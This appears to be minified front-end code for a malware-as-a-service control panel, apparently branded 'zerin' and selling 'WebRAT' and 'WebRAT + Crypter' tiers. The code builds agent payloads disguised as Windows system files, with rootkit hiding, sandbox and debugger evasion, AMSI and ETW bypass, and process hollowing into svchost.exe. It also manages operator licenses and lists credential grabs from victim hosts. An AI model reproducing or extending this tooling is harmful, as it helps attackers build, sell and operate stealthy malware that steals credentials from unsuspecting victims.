transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:0,children:"%TEMP%"}),a.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),a.jsx("option",{value:2,children:"%APPDATA%"}),a.jsx("option",{value:3,children:"%PROGRAMDATA%"}),a.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),a.jsx("input",{type:"text",value:te,onChange:q=>C(q.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
transition-all duration-200`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),a.jsx("input",{type:"text",value:Y,onChange:q=>re(q.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
transition-all duration-200`})]})]})}),a.jsxs(gr,{label:"Evasion",children:[a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("input",{type:"checkbox",checked:$,onChange:q=>U(q.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:B,onChange:q=>K(q.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),a.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1
${B?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[a.jsx("input",{type:"checkbox",checked:Z,disabled:!B,onChange:q=>le(q.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:de,onChange:q=>we(q.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),a.jsxs("div",{className:"flex items-center justify-between pt-2",children:[a.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[a.jsx("div",{onClick:()=>D(!P),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer
${P?"bg-zerin-accent":"bg-zinc-700"}`,children:a.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200
${P?"translate-x-4":"translate-x-0"}`})}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),a.jsxs("div",{className:"flex gap-3",children:[a.jsx("button",{type:"button",onClick:()=>{s(!1),f("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),a.jsxs("button",{type:"submit",disabled:g,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r
px-5 py-2 transition-all duration-150\r
disabled:opacity-50 disabled:cursor-not-allowed\r
flex items-center gap-2`,children:[g&&a.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),g?"Building...":"Build"]})]}),g&&a.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[a.jsx("span",{children:(H2.filter(q=>q.at<=o).pop()??H2[0]).label}),a.jsxs("span",{className:"font-mono tabular-nums",children:[c,"s"]})]}),a.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${o}%`}})}),a.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 3060 seconds."})]})]})]})]}),n?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):e.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on targets."}),!i&&a.jsx("button",{onClick:()=>s(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),a.jsx("div",{children:e.map(q=>{let ne={};try{ne=JSON.parse(q.config_json)}catch{}return a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py
hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),a.jsx("button",{onClick:Z,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r
hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[a.jsxs("form",{onSubmit:de,className:"space-y-3",children:[a.jsxs("div",{className:"flex items-end gap-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),a.jsx("input",{type:"text",value:p,onChange:C=>h(C.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r
text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r
focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),a.jsx("input",{type:"number",value:x,onChange:C=>g(C.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r
text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),a.jsxs("div",{className:"flex gap-1",children:[a.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),a.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r
hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{type:"button",onClick:()=>h(C),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${p===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:C},C))]})]}),j&&a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r
text-zerin-accent break-all select-all`,children:j}),a.jsx("button",{onClick:te,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r
hover:bg-zerin-panel-hover transition-colors shrink-0`,children:k?"Copied!":"Copy"})]}),a.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved later."})]})]}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:C.key_id,children:[C.key_id.substring(0,8),"..."]}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(Y2,{status:C.status})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Tm(C.created_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Tm(C.expires_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.activated_by||"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:C.use_count}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:C.generated_by}),a.jsx("td",{className:"px-4 py-3",children:C.status!=="revoked"&&C.status!=="expired"?S===C.key_id?a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("button",{onClick:()=>we(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r
hover:bg-red-500/10 transition-colors`,children:"Confirm"}),a.jsx("button",{onClick:()=>A(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r
hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):a.jsx("button",{onClick:()=>A(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r
hover:bg-red-500/10 transition-colors`,children:"Revoke"}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},C.key_id))})]})})]}):a.jsxs("div",{className:"space-y-4",children:[a.jsx("div",{className:"flex items-center gap-3",children:a.jsx("button",{onClick:le,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r
hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:C.username}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(AV,{role:C.role})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3",children:C.license_status?a.jsx(Y2,{status:C.license_status}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.license_expires_at?Tm(C.license_expires_at):"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.created_at}),a.jsx("td",{className:"px-4 py-3",children:a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("button",{onClick:()=>{O(C),D("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r
hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),a.jsx("button",{onClick:()=>{W(C),U(C.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r
hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},C.id))})]})})]}),_&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>O(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",a.jsx("span",{className:"text-zerin-accent",children:_.username})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),a.jsx("input",{type:"text",value:P,onChange:C=>D(C.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r
text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{onClick:()=>D(C),className:`px-2.5 py-1 text-xs font-mono border transition-colors ${P===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:C},C))}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:ye,disabled:V,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r
hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:V?"Extending...":"Add Time"}),a.jsx("button",{onClick:()=>O(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r
hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),M&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>W(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",a.jsx("span",{className:"text-zerin-accent",children:M.username})]}),a.jsxs("div",{className:"flex gap-2",children:[a.jsx("button",{onClick:()=>U("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${$==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{onClick:()=>U("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${$==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:G,disabled:B,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r
hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:B?"Updating...":"Update Tier"}),a.jsx("button",{onClick:()=>W(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r
hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}function TV(){const{isAdmin:e}=gs(),n=w5()==="rat_crypter"||e,[r,i]=m.useState(null),[s,o]=m.useState("runpe"),[l,c]=m.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=m.useState(0),[f,p]=m.useState(!0),[h,x]=m.useState(!0),[g,y]=m.useState(!0),[v,b]=m.useState(!0),[w,j]=m.useState(!0),[N,k]=m.useState(!1),[z,S]=m.useState(0),[A,_]=m.useState(""),[O,P]=m.useState(!1),D=m.useRef(null),V=m.useCallback(M=>{M.preventDefault(),P(!1);const W=M.dataTransfer.files[0];W&&i(W)},[]),R=m.useCallback(async()=>{if(!(!r||N)){k(!0),_(""),S(5);try{const M=new FormData;M.append("file",r),M.append("mode",s),M.append("target_process",l),M.append("sleep_seconds",u.toString()),M.append("anti_sandbox",f.toString()),M.append("anti_debug",h.toString()),M.append("unhook_ntdll",g.toString()),M.append("amsi_bypass",v.toString()),M.append("etw_patch",w.toString()),S(20);const W=setInterval(()=>{S(K=>Math.min(K+5,85))},2e3),$=await d_(M);clearInterval(W),S(100);const U=URL.createObjectURL($),B=document.createElement("a");B.href=U,B.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild(B),B.click(),document.body.removeChild(B),URL.revokeObjectURL(U),setTimeout(()=>S(0),2e3)}catch(M){_(M.message||"Build failed"),S(0)}finally{k(!1)}}},[r,N,s,l,u,f,h,g,v,w]);return n?a.jsxs("div",{className:"p-6 max-w-4xl mx-auto",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-6",children:[a.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z"})}),a.jsx("h1",{className:"font-display text-xl font-bold text-zerin-text",children:"Crypter"}),a.jsx("span",{className:"text-[10px] font-mono text-zerin-accent/70 border border-zerin-accent/20 px-1.5 py-0.5",children:"XOR + AES-256"})]}),a.jsxs("div",{className:"grid lg:grid-cols-2 gap-6",children:[a.jsxs("div",{className:"space-y-4",children:[a.jsxs("div",{className:`relative border-2 border-dashed transition-colors duration-200 p-8 text-center cursor-pointer
${O?"border-zerin-accent bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}
${r?"bg-zerin-accent/5 border-zerin-accent/30":""}`,onDragOver:M=>{M.preventDefault(),P(!0)},onDragLeave:()=>P(!1),onDrop:V,onClick:()=>{var M;return(M=D.current)==null?void 0:M.click()},children:[a.jsx("input",{ref:D,type:"file",accept:".exe",className:"hidden",onChange:M=>{var $;const W=($=M.target.files)==null?void 0:$[0];W&&i(W)}}),r?a.jsxs("div",{children:[a.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})}),a.jsx("p",{className:"font-mono text-sm text-zerin-text",children:r.name}),a.jsxs("p",{className:"font-mono text-xs text-zerin-text-muted mt-1",children:[(r.size/1024).toFixed(1)," KB"]})]}):a.jsxs("div",{children:[a.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 0 0 5.25 21h13.5A2.25 2.25 0 0 0 21 18.75V16.5m-13.5-9L12 3m0 0 4.5 4.5M12 3v13.5"})}),a.jsx("p",{className:"text-sm text-zerin-text-dim",children:"Drop a .exe here or click to browse"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-1",children:"Max 50 MB"})]})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Injection Mode"}),a.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[a.jsxs("button",{onClick:()=>o("runpe"),className:`p-3 text-left border transition-colors ${s==="runpe"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[a.jsx("div",{className:"font-mono text-sm font-semibold",children:"RunPE"}),a.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"Process Hollowing"})]}),a.jsxs("button",{onClick:()=>o("shellcode"),className:`p-3 text-left border transition-colors ${s==="shellcode"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[a.jsx("div",{className:"font-mono text-sm font-semibold",children:"Shellcode"}),a.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"VirtualAlloc + Thread"})]})]})]}),s==="runpe"&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Target Process"}),a.jsx("input",{type:"text",value:l,onChange:M=>c(M.target.value),className:"w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Sleep Delay (seconds)"}),a.jsx("input",{type:"number",min:0,max:300,value:u,onChange:M=>d(Math.max(0,parseInt(M.target.value)||0)),className:"w-24 bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"}),a.jsx("span",{className:"text-xs text-zerin-text-muted ml-2",children:"0 = no delay"})]})]}),a.jsxs("div",{className:"space-y-4",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Evasion Suite"}),a.jsx("div",{className:"grid grid-cols-2 gap-3",children:[{key:"anti_sandbox",label:"Anti-Sandbox",desc:"VM/sandbox detection",value:f,set:p},{key:"anti_debug",label:"Anti-Debug",desc:"Debugger detection",value:h,set:x},{key:"unhook_ntdll",label:
placeholder:text-zerin-text-muted pl-8 pr-3 py-2 focus:outline-none focus:border-zerin-accent/40\r
transition-colors`})]})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:j.length===0?a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsx("p",{className:"text-zerin-text-muted text-xs",children:w.length===0?"No credential grabs yet":"No matches"})}):a.jsx("div",{className:"py-1",children:j.map(T=>{const ae=y.has(T.agent_id),ue=(o==null?void 0:o.agent.agent_id)===T.agent_id,lt=T.grabs[0];let Ct=null;try{Ct=JSON.parse(lt.output)}catch{}const Lt=Ct?G2(Ct):0;return a.jsxs("div",{children:[a.jsxs("button",{onClick:()=>{T.grabs.length===1?N(T,0):(z(T.agent_id),!ae&&!ue&&N(T,0))},className:`w-full text-left px-4 py-3 transition-colors border-b border-zerin-panel-border/50
${ue?"bg-zerin-accent-muted/60":"hover:bg-zerin-panel-hover"}`,children:[a.jsxs("div",{className:"flex items-start justify-between gap-2",children:[a.jsxs("div",{className:"min-w-0 flex-1",children:[a.jsx("div",{className:"flex items-center gap-2 mb-0.5",children:a.jsx("span",{className:"text-sm font-semibold text-zerin-text truncate",children:T.hostname})}),a.jsxs("div",{className:"flex items-center gap-2 text-[11px]",children:[a.jsx("span",{className:"text-zerin-text-dim font-mono",children:T.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:T.os_version})]})]}),a.jsxs("div",{className:"flex flex-col items-end gap-1 flex-shrink-0",children:[a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsxs("span",{className:"text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 px-1.5 py-0.5",children:[T.grabs.length," grab",T.grabs.length!==1?"s":""]}),Lt>0&&a.jsx("span",{className:"text-[10px] font-mono text-amber-400 bg-amber-400/10 px-1.5 py-0.5",children:Lt})]}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted",children:MV(lt.received_at)})]})]}),T.grabs.length>1&&a.jsxs("div",{className:"flex items-center gap-1 mt-1.5",children:[a.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted transition-transform ${ae?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsxs("span",{className:"text-[10px] 